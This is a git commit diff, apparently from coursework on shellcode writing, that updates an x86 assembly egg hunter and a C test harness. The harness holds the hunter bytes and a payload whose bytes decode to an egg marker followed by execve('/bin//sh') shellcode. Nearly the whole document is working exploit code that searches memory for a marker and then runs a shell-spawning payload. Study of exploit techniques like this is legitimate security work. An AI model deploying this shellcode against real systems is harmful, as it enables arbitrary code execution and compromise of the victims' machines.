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minor updates

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This commit is contained in:
arno01 2013-03-27 16:06:33 +01:00
parent d78abc0d00
commit 05b25b108d
2 changed files with 9 additions and 15 deletions
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20
exam3/hunter.nasm
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@ -28,26 +28,20 @@ global _start
_start: _start:
jmp short EggPoint jmp short huntersEnd
continue: continue:
pop eax pop eax ; Now EAX points at hunters End
; Searching for the Egg marker ; Searching for the Egg marker
next: next:
inc eax ; Searching backwards inc eax ; Searching forward
isEgg: isEgg:
cmp dword [eax-8], egg1 cmp dword [eax-8], egg1 ; Checking if we can see egg1
jne next jne next ; If not, continuing to search
cmp dword [eax-4], egg2 cmp dword [eax-4], egg2
jne next jne next
call eax call eax ; Once found, we call our payload
; EXIT huntersEnd:
xor eax, eax
mov al, 1
xor ebx, ebx
int 0x80
EggPoint:
call continue call continue

4
exam3/shellcode.c
View File

@ -1,11 +1,11 @@
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
unsigned char hunter[] = "\xeb\x1e\x58\x40\x81\x78\xf8\x63\x75\x73\x74\x75\xf6\x81\x78\xfc\x2e\x65\x67\x67\x75\xed\xff\xd0\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff"; unsigned char hunter[] = "\xeb\x16\x58\x40\x81\x78\xf8\x45\x67\x67\x2d\x75\xf6\x81\x78\xfc\x4d\x61\x72\x6b\x75\xed\xff\xd0\xe8\xe5\xff\xff\xff";
unsigned char garbage1[] = "Just some garbage here..."; unsigned char garbage1[] = "Just some garbage here...";
unsigned char payload[] = "\x63\x75\x73\x74\x2e\x65\x67\x67\x31\xc9\xb1\x08\x48\xe2\xfd\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80"; unsigned char payload[] = "\x45\x67\x67\x2d\x4d\x61\x72\x6b\x31\xc9\xb1\x08\x48\xe2\xfd\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
unsigned char garbage2[] = "And some garbage there..."; unsigned char garbage2[] = "And some garbage there...";